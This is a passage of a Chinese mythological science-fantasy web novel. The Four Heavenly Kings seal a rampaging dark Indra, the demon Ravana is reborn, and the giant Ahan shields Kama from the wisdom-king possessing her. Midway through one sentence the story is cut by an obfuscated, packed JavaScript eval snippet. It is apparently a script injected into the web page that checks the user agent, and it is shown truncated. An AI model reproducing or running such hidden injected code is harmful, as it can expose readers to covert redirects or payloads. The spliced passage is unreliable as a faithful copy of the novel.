“几分钟后我要试图封印暗黑帝释天,但到底有多大胜算,连我自己也不知道,我的机体也许会承受不住冲击化为灰烬,而你们当中大多数人都会死,如果是这样,你会后悔追随了德卡先生,或者怨恨把你们从须弥召来摩诃的我吗?” 桑贾瞪圆了眼,跳起来要对刹迦罗表明自己的忠诚,却被托住手臂。 “今天过后,也许不再会有新的太阳升起,这个世界会众生凋零,而我也将重归梵天。”刹迦罗平静地说,“也许你无法再见到你的妻儿,你三生三世的全部因果都会消散——你准备好了吗?” 桑贾默默地与德卡以及其余三位夜叉一共向这位天王跪拜,触碰他的脚表示尊敬。 刹迦罗缓缓地点了一下头,整座神庙都随着他的颔首颤抖。 “那么,你们跟着我罢。” “是!” 除了北方多闻天王允许单独崇拜外,四天王通常是作为护法军神与帝释天因陀罗一起接受供奉的,而从格局就能看出,这里实际上原本是一座主要供奉帝释天的神庙,然而不知什么时候,帝释天的神像被偷走,只留下了四尊天王像,神庙里没有僧侣,一片破败景象,然而此时刹迦罗已经顾不得这么多了。 德卡的人查探过,整个阿什提贫民区里只有八座因陀罗神庙,而其中没有一座庙里有四天王,倒是阿耆尼、伐楼那和苏利耶这三位吠陀天神与因陀罗共祭的情况比较多,其他的神庙不是毗湿奴就是湿婆的,完全派不上用场。 早知有今天……当初就应该在自己的摩诃形象上多花点心思才是。 刹迦罗来到一尊手持书卷,由众龙护持的三眼神像前,把鲜血淋漓的手置于其上。 广目、增长,能听到吗? 耳边一阵嘈杂,刹迦罗强迫自己集中精神。 须弥和摩诃之间的通讯信号很糟糕,是因为暗黑帝释天的缘故吗? 呼唤了数次却得不到答复,刹迦罗眉头紧蹙,正欲发动更强的天神之力,却忽然感到身后有些异样,回头一看,却是大喜过望。 暗黑帝释天对于阿什提城郊突现的能量波动很感兴趣,然而却有人在不断制造障碍,中了降三世明王的胜身三摩耶咒,它已无法判断目标,一律不加思索地还击,即使对方是同样来自须弥的天神。 希格玛左闪右避,暗黑帝释天发射出的光炮散落在远方,每一发的爆破范围至少达到半径十公里,巨大的蘑菇云接连升起。 再不阻止这个骑着大象的野蛮人,星球会变成蜂窝。 略一分神,一束光柱与希格玛擦肩而过,险些把他半个身子吞掉。 在他面前因陀罗从来就是乖宝宝,哪怕不高兴的时候连哄带骗也总能解决问题,哪曾有过这般光景。因陀罗狂性大发,对持国天王连连出手,希格玛不由心头火起,念起持国天王咒,眉心一闪。 艳丽的红光从希格玛身上分离出三部分,迅速凝聚成人形,红光褪却,一男、一女和一个少年向他欠身施礼。 “省了省了,这个机体能用的法力有限,只能临时召唤出你们三人的思念体——情况紧急,快替我护法,我要用圣天乾达婆奥义了。” 一听他的话,三位乾达婆大吃一惊。 “持国天大人!……” “圣天乾达婆奥义……当您以天神本尊降世时才能使用,以您现在使用的机械化身强行发动的话,可能会当场崩溃,甚至连您的精神体都会……” “太冒险了,请不要这样做,持国天大人!” 希格玛撇了撇嘴。 “真是的,我是持国天,你们是乾达婆,到底是我大还是你们大,这种事情还用得着你们来教我?” “可……可是……” “都闭嘴!听我的准没错!” 轰!—— 轰!—— “看见了吗,暗黑帝释天正到处破坏,虽然这个人间会变成什么样子,跟我一点关系也没有,不过……”希格玛笑了笑,“毗沙门那家伙似乎打算拼命了——刚刚熬过了千年的虚弱,这一次奉命来到摩诃,大概他不会汲取什么教训,我早已有预感。” “……” “那个家伙……成天装出一副无动于衷的扑克脸,其实……比谁都心软。”希格玛笑道,“宁愿自己孤单,也想努力使大家都得到幸福……有些时候我真想把他脑袋敲破,把里面的东西掏出来看看他到底在想什么,他这样的天神,真让人伤脑筋啊……” 说着他的眉心再次光芒闪动。 “既然如此,作为同样身为四天王之一、以美貌慈悲著称的我也不能太小气……”希格玛笑眯眯地说,“况且我在摩诃呆了好几百年,多少也有点感情……人类虽然笨拙,不过也创造出了诸如冰淇淋蛋糕、虚拟网络游戏和成人录影带这些了不起的东西呀……” “这样的人间,毁掉的话真是太可惜了。” 乾达婆们见他们的天王已经作了决定,不敢再加以劝阻,个个都红着眼圈。 “真是的,你们那是什么眼神?”希格玛大皱其眉,“我又没说要跟谁谁谁同归于尽,这么没技术含量的事与我有何相干?” 就在这时,远处的城郊小镇突然迸出一个耀眼的光环,一束极亮极细的金光直射苍穹,数秒钟后,阿什提的南部和西部也出现了同样的迹象,蓝光和绿光先后显现。 “开工了。”希格玛说。 悠扬的锡塔琴声中,红光自东方升起。 四大天部,各据一方, 护持庇佑,以音律普度众生,是为持国; 顿悟精进,以神力保卫众生,是为增长; 彗眼博望,以知性感悟众生,是为广目; 见多识广,以财福恩泽众生,是为多闻; 吾等四大天王, 把守四方天地,守护诸天万物, 扬善弃恶,护正祛邪。 红光中是东方持国天王与三位乾达婆;蓝光中是南方增长天王与鸠盘荼六长老;绿光中是西方广目天王与八龙王护法;而金光中则是北方毗沙门天王和五位夜叉。 四天王的幻象几乎占据了整个天空,恰好将暗黑帝释天围在中央。 似乎感到了巨大威胁,暗黑帝释天躯体四周出现黑色光环,紫色的闪电几欲毁掉一切,在这尊雷霆暴君的压力下,刹迦罗和希格玛浑身是血,形貌可怖,增长天和广目天看似不受影响,但实际上这两个天王在须弥的本体也正同样遭到来自暗黑帝释天的反噬。 放开我!……我还不想回去哇!!—— 我要把所有的东西都毁掉!……把这个肮脏的世界清洗有什么不对?!…… “就是现在!”刹迦罗低喝一声。 四天王·暗黑帝释天·四处加持印!! 代表四位天王的梵文印记闪现,四色光芒犹如利刃直射暗黑帝释天。 伴随大象的咆哮,暗黑帝释天的怒吼震彻苍穹。 “东方持国乾达婆印,无相咒封。” “南方增长鸠盘荼印,无定咒封。” “西方广目龙王印,无心咒封。” “北方毗沙门夜叉印,无常咒封——” 暗黑帝释天,四处加持,天感八无! 四处加持印是由四天王合力发动的最强封印技,无相是空间封印,无定是形态封印,无心是精神封印,而无常是时间封印,被四处加持印击中的目标,不但会失去行动能力,连思维意识也会被剥夺,同时与之相关联的时空因果都会被重新置于原点,简单地说就是抹去目标留下的所有痕迹,就好像根本不曾在这世界上存在过一般,是最彻底的封印。 中央封印区出现绝无仅有的三十三层互逆运转的顶级规模法阵,暗黑帝释天庞大如山的身躯被璀璨之光笼罩仍企图顽抗,剧烈的能量冲击令整个阿什提市下陷,刹迦罗身后除德卡外的其余四位夜叉先后被碾成飞灰,他和希格玛的机体均出现崩溃前兆,但两人却全神贯注,丝毫不以为意。 几乎被夷为平地的阿什提,只有一座建筑物相对保持完好,那就是仍处于悬浮状态的世界大厦。 四天王发动四处加持印,凭特殊优先权向我们提交了紧急议案,内容是立即封印暗黑帝释天,并对其在激活状态下所造成的一切破坏行为进行临时代码级别的修复——读取备份数据后阿什提的时空秩序将恢复至数小时前的状态,并且全摩诃范围内不会有任何生物、全帝拜范围内刹帝利级别以下的阿修罗将不会对该次事件保留任何记忆——以上是四天王联合提交的第2471·623·4·4号议案,表决开始——毗湿奴,赞成,附加条件一个。 梵天,赞成,无附加条件。 湿婆,弃权。 那么,“四处加持”现在启动。 即便是拥有无限能量的暗黑帝释天,纵使四天王中有两位并非本体,四处加持印也终究开始生效了。 在强大的能量场下,所有的物质各自回归起初的位置:被重创的地表、被搅乱的大气层、被摧毁的建筑物、倒在血泊中的死者、被惊恐逃窜的行人踏垮的蚁巢散落的沙粒、从被打碎的杯子里溅出的热咖啡……一切都开始回复原貌。 刹迦罗全身伤痕累累,发动四处加持咒令他体力透支,天神机体多处损毁,他几乎成了个血人。 他重重地舒了口气,突然眼前一黑,德卡忙扶住他。 “不要紧……四处加持印能恢复一切因暗黑帝释天而产生的伤害,我很快就能恢复原状。”他笑了笑。 乌云散开,不再电闪雷鸣,将这城市顷刻间变成地狱的始作俑者——暗黑帝释天已无法再继续保持它的物理形态,化为点点星芒逐渐溃散,先前它所释放出的所有能量都回到了它体内…… 包括它为了寻找降三世和大威德两位明王,发出的那束一分为八,附着在因陀罗神像上的光。 刹迦罗的脸色突然变了。 你们欺负我!……你们都在欺负我!……呜哇—— 下半部分的机械战象已经化为乌有,上半部分的人化形态也渐渐褪去了可怕的血光。 因陀罗总算清醒了,可是为什么…… 为什么他却非但没感到丝毫安心,反而更加焦虑? 四处加持印已经成功…… 到底是什么地方不对劲? 那八尊有如活物般的神像纷纷倒地,每一个身上都升起了一团光。 刹迦罗凝视着它们。 七团光都是金色,然而有一团光却与众不同。 它呈现出不协调的暗红色。 它和其他的光汇聚在一起,那抹暗红色混在当中,像一条邪魅的血蛇。 嘻嘻嘻嘻…… 刹迦罗突然大吼一声,不顾一切地向即将消逝的暗黑帝释天扑去。 他的机体再也承受不住压力,左肩、腰部和右腿同时碎裂。 德卡吓坏了,冲上前拖住他。 “这是个圈套!”刹迦罗吼道,“持国,我们中计了!!” 老天!怎么回事?! 那束光没入暗黑帝释天的眉心。 片刻之后,原本已经阖上的眼突然再度睁开。 嘿嘿…… 妖异的笑声从暗黑帝释天体内传来。 毗沙门天……还真的是……得多谢你们四位天王呀…… 十个声音叠在一起。 刹迦罗脸色铁青。 他终于明白了。 为什么三连神会派因陀罗去追杀降三世和大威德。 为什么因陀罗会变成暗黑帝释天。 为什么当他试图用四处加持咒时,阿修罗会疯狂攻击仅有的一座四天王庙。 他终于明白了。 为什么当暗黑帝释天降临时,他却始终觉得有些蹊跷。 为什么当他们成功封印了这个暴君时,他却有更加不详的预感。 原来这一切…… 全都是因为…… 得到了降三世,就已经足以立于不败之地……如今更吸收了暗黑帝释天的力量,哈哈哈…… 暗黑帝释天巨大的身躯在空中缓缓崩溃,四溅的光芒与粘液中,它开裂的背部出现了一个光卵。 半透明的黑色卵壳下有一个急剧膨胀的巨大胚胎,这个东西的成长速度是如此之快,以至于包裹着它的卵也被越撑越大。 卵壳上布满发光的咒文,卵的底部生出无数经络,这些触手般的物体死死地纠缠着暗黑帝释天逐渐消失的躯体,钻入体表开裂的金属皮肤的缝隙向体内渗透。 被四处加持印击中的暗黑帝释天已经失却八感,任由寄生在自己身上的异物侵蚀也无动于衷,卵里的巨型异物竭尽全力地从暗黑帝释天身上吸取能量,就像是为了获取满足它生长所需的养分,暗黑帝释天的无限能量令它迫不及待地生出一批又一批触须,企图在自己的宿主完全消失前最大限度地掠夺。 太棒了……太完美了……三连神的礼物……每次都叫人喜出望外啊…… 卵壳表面浮出十张人面的凸纹。 刹迦罗绝望地闭上了眼。 他能感到这个最古老、同时也是最为邪恶的阿修罗的能量反应骤然暴增。 十张脸孔从卵中分离出来,自转的同时开始围绕暗黑帝释天缓慢公转。 吾父梵天,赐予罗婆那莫大恩惠……也许军荼利、降三世、还有这暗黑帝释天也是你的厚礼?莫非你根本就对自己创造的世界充满厌恶,所以才希望罗婆那替你排忧解难? 毗湿奴呀……你是唯一击败过罗婆那的生物,却也是靠钻了梵天恩赐的空子……如今的罗婆那力量远胜当年,而你仅剩最后一个只能在末世出现的化身,还有什么能耐将罗婆那送回帝拜? 湿婆……嘻嘻……你再也不用跳那痛并快乐着的坦达瓦之舞了——毁灭世界的职责,从此就由罗婆那代你履行吧! 暗黑帝释天的颈部折断,长满犄角的首级目光呆滞地倾塌。 最终进化完成后,罗婆那将成为最强大、最完美、同时也是至高无上的存在。 罗婆那将超越所有的神,成为整个宇宙中唯一的偶像。 三连神将拱手交出最高支配权,和芸芸众生一起崇拜罗婆那。 至于你……毗沙门天…… 围绕暗黑帝释天运转的十张脸孔全都将视线集中到阿什提北部上空的某一点。 在罗婆那的目光和德卡惊恐的吼声中,刹迦罗的机体崩溃了。 你全部的努力都白费了。 现在无论如何挣扎也无济于事。 因为这是一千年前你亲自种下的孽缘。 以为自己顿悟了断就能解脱……真是天真呀。 你就呆在一旁……绝望地看到最后吧。 哈哈哈…… 哈哈哈哈哈哈—— 幻非天的狂笑响彻云霄,四处加持印完成了最后的封印程序,暗黑帝释天的机体残骸消散殆尽。 夕阳的光辉透过林立的高楼,看得见的交通网络与不可见的通讯网络一如既往的迅捷高效,巨大的广告牌上最新的化妆品和人造人体的宣传继续铺天盖地,高档百货商厦里衣着光鲜入时的人们带着他们的机器伴侣疯狂购物。 什么都没有发生过,那地狱般的景象如同一部大制作的立体电影,或者不过是个噩梦。 德卡捧着刹迦罗的头颅放声大哭。 “夜叉众……护驾!” 刹迦罗被降三世毁去左眼,此时右眼中的金色褪去,黯然无光。 卡玛,阿汉…… 卡玛再次醒来时,天已经黑了。 天空一片漆黑,乌黑的翻滚着的云层中不时迸出亮光,接着是沉闷的雷声。 这里是个巨大无比的电机垃圾场,卡玛怔怔地望着那些经由摩诃文明消化过后的渣滓。伴随着阴冷的风、淅淅沥沥的雨和雷电,一切都显得面目狰狞。 这般景象不止一次地出现在她的梦中。 她的身上盖着一块毯子,身边有一堆火,带给她宝贵的温暖。 卡玛抓紧毯子,轻轻地把身体缩成一团。 一个巨大的黑影像座山一样堵在她身旁,替她挡去风雨。 宝石般的蓝眼睛在黑暗中隐隐发光,安静地凝视着她。 “嗨。”卡玛开口,“你好。” “你……你好。”那个盘腿而坐,双手放在膝上的巨人有些局促地回应。 “我叫卡玛,你呢?”她眨着眼。 “……” “是你救了我吗?这里是什么地方?”她继续问。 “……” “我们以前是不是在什么地方见过——” 巨人突然伸出手,轻而易举地把她连人带毯子一块儿捉起,搁到自己面前,铜铃似的蓝眼睛冲着她虎视眈眈。 “你最好放开我,不然我就要叫警察了。”她一面虚张声势,一面偷偷看他。 粗犷的脸上满是无奈,于是卡玛隔着毯子用手指戳那巨人的胸膛: “我有超能力,要是你仗着块头大就想欺负我,可是会吃苦头的哦!” 厚实的大手握住她的猫爪,她被拉进一个温暖宽广的怀里,两只粗壮的胳膊环绕着她,宛若城墙。 “我失忆了!”卡玛不安分地在巨人怀里动来动去,“之前的事我什么都记不起来了!” 然而对方完全无动于衷,像是早已识破她的小把戏。 卡玛抬头仰视,正对上了那双蓝眼睛。 “你的胡子又长出来了。”她情不自禁地伸出手,轻轻地挠着巨人青光闪闪的下巴。 阿汉总是沉默细心地照顾她,却往往忽略自己的事,每次都是卡玛替他刮胡子,连头发也得要卡玛帮他打理,想到这个呆头呆脑的大个子正襟危坐,脖子上围着白布单任她在自己头上挥舞剪刀的样子,卡玛忍不住笑了。 心里装 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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但很可惜,只要对方是卡玛,阿汉就注定是被欺负的那一个——当他刚想爬起来走到一边,卡玛在他耳边说了一句话,便又让他丢盔弃甲。 “曼陀罗仪式……”她若无其事地问,“应该可以反复进行很多次吧?” “……”阿汉目瞪口呆。 “不要这么大惊小怪。”卡玛撇了撇嘴,“虽然之前你举行曼陀罗仪式是为了把降三世唤醒,为此还严重地伤害了我的感情……” 阿汉气急败坏地转过身,一把将她逮住。 “你要是再——” “我要是再跑掉,你打算把我怎样?”卡玛反问。 可怜的大威德明王当即卡壳,口舌笨拙的他哪里是牙尖嘴利的卡玛的对手。 “我很明白你的心情,千年前费尽心思也得不到的女人,在她转生后从她还是个小女孩的时候就牢牢看好,不准她跟其他无聊的男人接触,等她长大了总有机会开花结果……”卡玛瞄了阿汉一眼,“你好像气得脸都黑了,是不是很想再揍我一顿屁股?” 阿汉的牙咬得咯吱乱响。 “不幸的是,人格分裂这种事情,到了科技高度发达的时代依然是不解之症——现在这个身体里呆着两个人,所以我们之间产生了一点分歧,具体体现为一种俗套的三角关系。”卡玛事不关己地分析着,“我呢,是很喜欢你的,是那种恨不得把你衣服扒光推倒榨干发现你想着其他女人就想把你的腿打断的喜欢,虽然你总是惦记着我的前世——也就是所谓的‘其他女人’——还在占有了我的身体后逼我含泪离开……” 她立即被阿汉搁到大腿上,那巨人扬起蒲扇似的手掌,作势就要挥下来。 “等一下!”她大叫。 阿汉的鼻孔喷着气,一脸“你还有什么话要说”的凶恶表情。 “在你对我作了那么多过分的事情之后,我发现我还是很想……”卡玛喊道,“……我还是很想把你的衣服扒光!……还是很想把你推倒然后用力榨干!……发现你想着其他女人的时候……还是很想把你的腿打断啊!” 说着说着,她突然鼻子一酸。 “我觉得自己好没用,可我还是好喜欢你……还是想和你呆在一起啊。” “一千年前的事,我都知道了……可我实在没法生你的气。” 她胡乱抹了抹脸。 “我想通了!” “千年前的事已经过去了,再大的怨念也跟我没有关系,这一次你是我的!没道理把你让给别人!我卡玛想要做的事,从来就没有不成功的,想要的东西,也从来没有得不到的——包括你在内!大个子,你听清楚了没有?!” 阿汉依然举着巨掌。 “总……总有一天你也会喜欢上我的。”卡玛嘟哝着,“我觉得我比她好,真的……至少我会帮你刮胡子!” 阿汉哧啦哧啦地搓着下巴。 “我……我还会带你逛商场,帮你买名牌内裤!……我每个月都有发零用钱给你,这些事情她永远也做不到吧?呵呵呵!……” 吓人的大手落下,轻轻地帮她拭去泪珠。 阿汉轻轻地叹了口气。 这一声叹息吹散了她最后的莫名矜持,卡玛扑进阿汉怀里“哇”的一声哭起来,就像个受尽欺负的可怜小孩。 阿汉无可奈何地轻轻抚着她被削得光秃秃的头,黑色的莲花图案,就像一层隔在两人之间的纸。 虽然这个造型放在这个时代也依然很前卫,可他还是喜欢她留着蓝色短发时的样子。 但他知道,这些事情不会永远被掩埋在千年的岁月之下,终归有一天会像那朵黑色的莲花一样显露出来。 这个既坚强又脆弱的小家伙,对其他的事情都那么聪明,怎么一遇到这个,就…… 连他这么笨的人都知道的事情,她怎么就……怎么就不明白呢? 缩在他怀里放声大哭,用他的汗衫撸鼻子,含糊不清地胡乱嚷着什么,阿汉耐心地充当情绪发泄机,一如既往。 好容易安静了点,她抓住阿汉的衣领,眼巴巴地望着他。 “你现在是不是开始有一点喜欢我了?” “……” 阿汉小心翼翼地点了点头。 “我把你的衣服扒光,推倒,然后把你榨干,你不会介意吧?” 阿汉忙摇头。 “很好。”卡玛把脸一抹,对她忠心耿耿的守护神说,“那么现在我们来进行神圣的曼陀罗仪式吧。” “……” “有什么问题吗?”卡玛疑惑地向四周张望,“这附近又没有其他生物。” “……” “天神、明王还有阿修罗,这些乱七八糟的事情已经跟我们没关系了吧?”卡玛问,“是不是在我昏迷的时候,一切都已经结束了?” 阿汉刚要说些什么,突然他发现卡玛的一只眼睛变成了红色。 哼。 “啊哦——”卡玛耸了耸肩,“看来我高兴得太早了。” 真正的好戏……现在才刚刚开始呢,小女孩,把这身体还给我! “你休想!” 毗沙门召集其他三位天王发动四处加持印收拾了暗黑帝释天……被暗黑帝释天破坏的一切都恢复原状,大非空想光明遍照对我造成的伤害也不存在了……哼,看来他还是不肯对我死心嘛……说起来,你们刚才唧唧我我真是令人感动,我是不是打断了你们? 很快卡玛的半个身子已不受控制。 没用的,小女孩,凭你的能耐要跟我这个正牌明王斗,还差得远啊……现在我没空再陪你玩了! “我不会输给你!” 阿汉的掌心闪起一片蓝光,当他刚要将手置于卡玛头顶的莲花图案上时,卡玛的声音突然变了。 “汉巴达,这么多年你一直守护在我身边,真是辛苦你了啊。” 卡玛双目赤红,一样的脸,一样的身体,却与几秒钟前的那个人截然不同。 阿汉飞快起身,朝后退开两步。 “汉巴达,带我离开这里。”降三世朝他走去,“摩诃混浊肮脏的空气令我窒息,我需要立即到帝拜楞迦城去。” 阿汉一步步后退。 “你怎么了?连这么简单的愿望都不能帮我达成吗?”降三世盯着他。 他沉默不语。 “我明白了。”降三世冷笑道,“说什么愿意永远守护在我身旁,什么愿意为我做任何事,原来全都是假的,你跟毗沙门、还有这世上其他的男人一样虚情假意。” 她突然“哦”了一声,若有所思地点了点头。 “莫非你看上那个叫卡玛的小女孩了?刚才她哭着闹着求你爱她来着,这样的法子看来真的很有效啊……‘我想扒光你的衣服把你推倒榨干’……嘻嘻嘻……‘要是你想着别的女人我就打断你的腿’……哈哈哈哈……” 她放声大笑。 “汉巴达,我原本还对你留有许些期待,当你跪在因陀罗和他的走狗们跟前摇尾乞怜的时候,我还当你是打算忍辱负重伺机而动呢……现在看起来,原来你和毗沙门一样,也是肤浅愚蠢的男人呀。”她双手抱胸,一脸轻蔑,“只要能发泄欲望,冒牌货也没有关系,是这样吗?看着她在你身下喘息呻吟,你就觉得拥有了我?玷污这身体的时候,你很愉悦吧——” “住口!” 阿汉的怒吼震得地面微颤,周围横七竖八的报废金属泛起共鸣。 降三世情不自禁地后退了一步。 那一瞬间,她觉得阿汉的蓝瞳中喷出的火焰几乎将她吞噬,还未出口的话,竟被吼得再也说不出来了。 这不可能……那个呆笨碍眼的傻大个什么时候变得…… 是幻觉吧? “呵呵……”她抽动嘴角强笑两声。 阿汉的背后现出明王火轮,紫蓝色的光纹从他的颈部和肩膀向全身扩散,那剧烈的能量反应令降三世大吃一惊。 “不会的……你不可能对我出手……这身体若是被毁掉,可就再也没有了!” 话虽如此,但有一种感觉令她毛骨悚然—— 如果……如果没有那些如果,这男人会杀了她。 她一步步后退。 “好吧,既然如此,我不用再指望你了……”她冷笑道,“找到那个刹帝利便是,我一个人照样可以去帝拜!” 降三世大人,我已在此恭候多时了。 一个白色的身影应声闪出。 西洛微笑着举起左手,掌心的那只硕大的绿色眼珠咕噜噜地转了几圈,定在了降三世身上。 “哦?……”降三世倒是有些诧异,打量了那个阿修罗两眼,“在罗摩神庙,你不是说押错宝了吗?怎么现在又冒出来献殷勤了?” “因为现在降三世大人对我又有利用价值了啊。”西洛答道。 “你倒也坦白。”降三世冷哼一声,向那刹帝利走去,“算了,不跟你们这些小喽罗计较,立即打开传送门,我要去见‘明帝’!” “如您所愿。”西洛微微欠身,“当那些天神把这个城市弄得一团糟的时候,我趁机吸取了更多的能量,现在不再需要阿修罗咒便可以打开更强大的传送门了。” 当西洛激发阿修罗之力开始念诵咒文时,阿汉突然以惊人的速度朝他扑去。 咔!—— 一道半透明的红色屏障挡在他面前,剧烈的能量反弹立即令他伤痕累累。 当阿汉的拳头砸在那层防御光膜上时,降三世浑身一颤。 她回过头,冷冷地望着他。 “不怕这个身体变得血肉模糊的话,就尽管打碎我的明王护盾好了。” 阿汉举起渗出血丝的拳头,却再也挥不出去了。 降三世与她的护盾之间有反馈连接,每当这护盾承受攻击时,会有一部分转移到她身上——这当然是故意的。 击碎这道屏障,她的身体也会支离破碎,作为明王她的精神体还能处于游离状态直至遇到下一个合适的躯体,但作为人类的卡玛毫无疑问会当场死去。 阿汉当然不可能再下手。 “看来是我赢了。”降三世冷笑道。 屏障的另一侧,阿汉犹如困兽,他跺裂地面,一拳砸扁了一辆报废的货柜卡车头,他的大威德明王之力足以令他变成另一个暗黑帝释天,然而此时却无济于事。 “真是可怜。”降三世迈步向西洛打开的光之门走去。 “在那码头你对毗沙门宣称她是你的,你还答应了毗沙门会把这话当面告诉她,不过似乎你食言了,结果直到最后她也不明白你的心意,不然她至少能没有遗憾地从这世上消失……被这些无聊的感情变得软弱怯懦,我真替你难过。” 卡玛!—— “现在叫也没用了,她听不见的。”降三世的身躯融入白光中。 “再见了,汉巴达。” 只需再往前迈一步,就能进入帝拜了,那个人就在那里等她。 “降三世大人。”西洛轻声提醒,“请抓紧时间,传送门不会一直处于开启状态的。” “……” “降三世大人?”西洛感到有些蹊跷。 降三世全身如雕塑般僵硬。 “你……你还真是……不……不死心哪!” 见她的左眼再次变成蓝色,西洛想起罗摩神庙里的情形,忙上前想将她推进传送门。 然而当他的手一碰到降三世的肩,一股恐怖的巨力当场将他甩了出去。 西洛重重地撞到降三世的明王护盾上,立即听到自己骨骼碎裂的声音。 降三世这样的高能量体穿越位面裂缝从摩诃进入帝拜,这个过程一旦有外力介入,干扰者就会立即遭到反噬,西洛情急之下竟忘了这一点。 然而这还不是最糟糕的。 降三世的明王护盾突然出现扭曲,开始由内至外逐渐瓦解。 “滚开!你这个不知天高地厚的人类!”降三世五官扭曲,声音严重失真。 阿汉! 哧啦—— 阿汉撕开红色光膜,冲上前接住那再次失去知觉的女孩,刚起步要走,又折回来抓起一根锈迹斑驳的废铁棍,二话不说插穿了那个阿修罗的胸膛,接着单臂将碗口粗的铁棍拗成U型,把另一端压进地里。 西洛整个人被牢牢地钉在地上,身下淌出的血迅速分解蒸发。 “不杀了我,说不定会后悔的哟。” 阿汉一言不发,上前一脚踏碎了西洛被寄生的手。 眼珠暴裂,粘稠的液体和蠕动的筋络四溅。 “嘿嘿嘿……”望着那巨人的背影,西洛低笑不止。 突然他收住笑声,咬牙切齿地发号施令: “所有的阿修罗,不计代价,杀了大威德,把降三世给我抢回来!!” 20. 第 20 章 阿汉不知道自己应该带着卡玛逃到哪里去,须弥、摩诃和帝拜,竟找不到他们的容身之处。 他只知道自己绝对不能停下来,否则立即就会被黑暗吞噬。 怀中的女孩时而清醒时而昏迷,她有时会抱住阿汉,不停地对他说对不起,有时又会拼命挣扎,同时严厉地诅咒他,降三世明王与卡玛在精神层面激烈交锋,轮流争夺这具身躯的控制权,阿汉能感到臂弯里的女孩生命力在逐渐流逝,频繁的人格切换已将其推至极限,再这样下去,最后的结果很有可能是脑死亡,他们三人当中不会有赢家。 他已经被阿修罗盯上了。 阿汉暂时封闭了卡玛的感官,开启明王战铠赤手空拳杀出一条血路,首陀罗的攻击伤不到他,然而这些低级阿修罗的数量却多得令人吃惊,似乎贫民区里每一个阴暗的角落里都有它们的踪迹,首陀罗们很清楚它们与这位明王之间的实力差距,因此它们从一开始就打算以数量取胜,无论阿汉破坏掉多少个,都会立即有新的首陀罗填补空缺,而且越来越多,它们似乎根本不在乎自己的生死,即使被拦腰斩断,拖着斑斑血迹也要朝着阿汉前进的方向爬行,看到这些形貌狰狞的机械怪物的人几乎全被当场杀掉然后分解吸收,变成阿修罗再生的“养料”。 透过眼前首陀罗闪动的身影,阿汉看到一座毗湿奴神庙。 三连神还会指引他这个走投无路的家伙吗? 看着怀中面无血色的女孩,阿汉拿定了主意。 只要卡玛能平安,他愿意做任何事,哪怕让他立即化为尘埃也好,他愿意再次接受三连神的一切条件。 阿汉担心的仅仅是三连神愿不愿意见他。 地面开裂,机械触手如黑色闪电一般,飞快地缠住了他的腰、膝盖和脚踝。 阿汉的步伐立即被减缓,马上数十个首陀罗一拥而上,叠罗汉似的压在他背上,阿汉的膝盖以下都陷入地面,为了不让卡玛受伤,他只能用胳膊肘撑着地面,将她护在身下,首陀罗的触手死死地缠着他的脖子和四肢,力道足以勒死大象。 更多的首陀罗扑上来,一层层地堆积,最后竟形成一个巨大的球体,形态各异的机械生物蠕动着,将阿汉和卡玛牢牢裹住。 死吧,大威德。 死吧!大威德! 毗湿奴神庙就在眼前,哪怕还有一丝希望,也不能放弃—— 他还不能在这里倒下。 “蚁球”突然从内部迸出无数道紫蓝色的光芒,被触及到的首陀罗无一例外地被气化蒸发,雄浑的咆哮声中,它们全都被甩开,雨点似的散落在四周。 尚存的首陀罗陆续爬起来,毫无惧色地朝阿汉再次发动攻击。 以它们的本性,面对实力比自己强出数百倍甚至上千倍的大威德明王,本应主动回避这种毫无胜算的战斗才是,即使是最低级、数量最多的阿修罗,也终归是渴望生存下去的,然而此时它们就像被什么东西控制了精神一般,不顾一切地发动自杀式攻击,甚至当较强的首陀罗开始通过吞噬较弱的同类来提高自己的能量时,被吃掉的一方也没有任何反抗或挣扎的迹象。 它们的目的只有一个—— 杀了大威德,抢走降三世! 但不幸的是,阿汉现在的心情很糟。 面对铺天盖地的首陀罗,他换用左臂抱着卡玛,右臂开始分解变形。 竟然有首陀罗扑上前用身体堵住他的炮口。 降三世是我们的! 把降三世还给我们! 锋利的机械触手与明王战铠碰撞出蓝色闪光,阿汉的右臂迅速聚集能量完毕。 大威德·无迴散难印·大覆灭! 大面积的散射光炮瞬间将阿汉面前120度半径数千米的扇形区域夷为平地,范围内的首陀罗全部支离破碎,看着那些来自帝拜的堕落生物悄无声息地灰飞烟灭,阿汉默默地收回武器,带着卡玛匆匆离去。 然而对方显然并不打算就这么轻易地放过他们。 距毗湿奴神庙尚有两公里,阿汉和卡玛再次遭遇阿修罗。 这次是吠舍,没有使用奇怪的机械形态,而是以人类面貌现身。 四男三女,其中两个男人比阿汉还要魁梧,浑身肌肉犹如钢浇铁铸,两个女人黑肤色的那一位手持皮鞭衣着暴露,白肤色的那位看起来则像职场文员。 阿汉也不多说,将身上被撕破的汗衫扯下,缠在头上裹成头巾,上身打着赤膊,抱着卡玛,提着拳头大步朝那六个吠舍走去。 “倒是个强壮的男人哪,就这么死掉也未免太可惜了。”皮鞭黑女王一脸玩味地笑着,“刚才那一击,费了不少能量吧?你好像已经有点气喘吁吁了,大威德。” “放下降三世,我们可以不为难你的。”女秘书说。 阿汉毫不理会,径直前行,在距离对方六步的地方停下脚步。 “不想死的话,就赶紧滚开。” 说话的却是阿汉怀里的女孩。 她歪着头,全身都在微微抽搐。 阿汉一脸焦虑地望着她。 他封闭了卡玛的感官,却又被她强行破解,现在连他也不知道控制着这个身体的究竟是谁,已经不能再继续拖延下去了,万一…… “你在担心我们会发生人格融合吗,汉巴达?”她面无表情地说。 这个人是降三世。 见他听到“汉巴达”这个称呼后脸色就黯下来,降三世嗤笑道: “瞧你这个样子……千年前恨不得为我做牛做马,如今却视我为蛇蝎……” “……” “果然当你疯狂地爱着一个人的时候,什么不好都是好的,什么缺点都可以容忍,即使那个人做了错事也会毫不犹豫地包庇宽恕……”降三世缓缓抬起颤抖的手,僵硬地抚着阿汉的脸,“如今不爱了,什么都没了。” 阿汉默默地听着。 “她说我不懂珍惜你,说我配不上你。”降三世吃力地笑着,“其实我知道你是对我好的,但是很可惜,我心里有了他,就没地方再留给你了。” 见那两人自顾自地说话,把他们晾在一边,六个吠舍勃然大怒。 